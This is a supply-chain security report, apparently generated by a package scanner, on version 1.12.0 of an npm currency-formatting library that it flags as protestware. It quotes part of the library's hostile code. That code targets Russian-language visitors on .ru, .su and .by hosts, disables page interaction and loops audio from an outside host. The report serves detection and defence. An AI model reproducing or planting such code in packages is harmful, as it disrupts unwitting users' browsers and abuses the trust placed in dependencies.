@faast-app/currency_contry_exchange@1.12.0
Librería TypeScript para formateo de monedas, formatos de documento (RUT/NIT), etiquetas localizadas y cálculo de intereses por país.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Importing the package in a browser on a matching host with a Russian-language browser setting; the disruption occurs once the stored date is more than three days old.
Impact
Affected visitors may be unable to interact with the page and are subjected to repeated audio playback.
Mechanism
The code sets the document body's pointer events to none, appends a looping audio element, and attempts playback.
Attack narrative
On matching browser visits, the package checks a saved date and, after three days, disables page interaction and loops an audio file from a fixed host. This targeted disruption is present in both published entrypoints.
AI rationale
The package’s published entrypoints contain deliberate, targeted browser disruption with no user-invoked activation. The behavior supports blocking as protestware.
Evidence
package.jsondist/main.jsdist/main.umd.cjs
Network endpoints1
flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json exposes both the ESM and CommonJS bundles as package entrypoints.
- The ESM bundle activates in browsers for Russian-language visitors on `.ru`, `.su`, `.by`, or `.xn--p1ai` hosts and checks a stored date.
- After the stored date is more than three days old, the ESM bundle disables page interaction and loops audio from `flag-gimn.ru`; the CommonJS bundle contains the same behavior.
Evidence against
Behavioral surface
Eval
MinifiedUrlStrings
Source & flagged code
8 flagged · loading sourcedist/main.jsView file
•if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
Critical
Targeted Browser Disruption Protestware
Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.
dist/main.jsView on unpkg•stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 2
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
dist/main.jsView on unpkg1787if (typeof window < "u" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
const e = /* @__PURE__ */ new Date(), t = localStorage.getItem("swal-initiation");
t ? (e.getTime() - Date.parse(t)) / (1e3 * 60 * 60 * 24) > 3 && setTimeout(() => {
document.body.style.pointerEvents = "none";
const o = document.createElement("audio");
o.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", o.loop = !0, document.body.appendChild(o), setTi
High
Ai Review Evidence
Findings
2 Critical5 High1 Medium3 Low
CriticalTargeted Browser Disruption Protestwaredist/main.js
CriticalTrigger Reachable Dangerous Capabilitydist/main.umd.cjs
HighSemantic Analysis Limiteddist/main.js
HighAi Review Evidencepackage.json
HighAi Review Evidencedist/main.js
HighAi Review Evidencedist/main.js
HighAi Review Evidencedist/main.umd.cjs
MediumStructural Risk Force Deep Review
LowScripts Present
LowEvaldist/main.js
LowUrl Strings
Affected versions and remediation
This report applies to @faast-app/currency_contry_exchange@1.12.0.
See all versions of @faast-app/currency_contry_exchange for other recorded verdicts.
- Avoid installing @faast-app/currency_contry_exchange@1.12.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.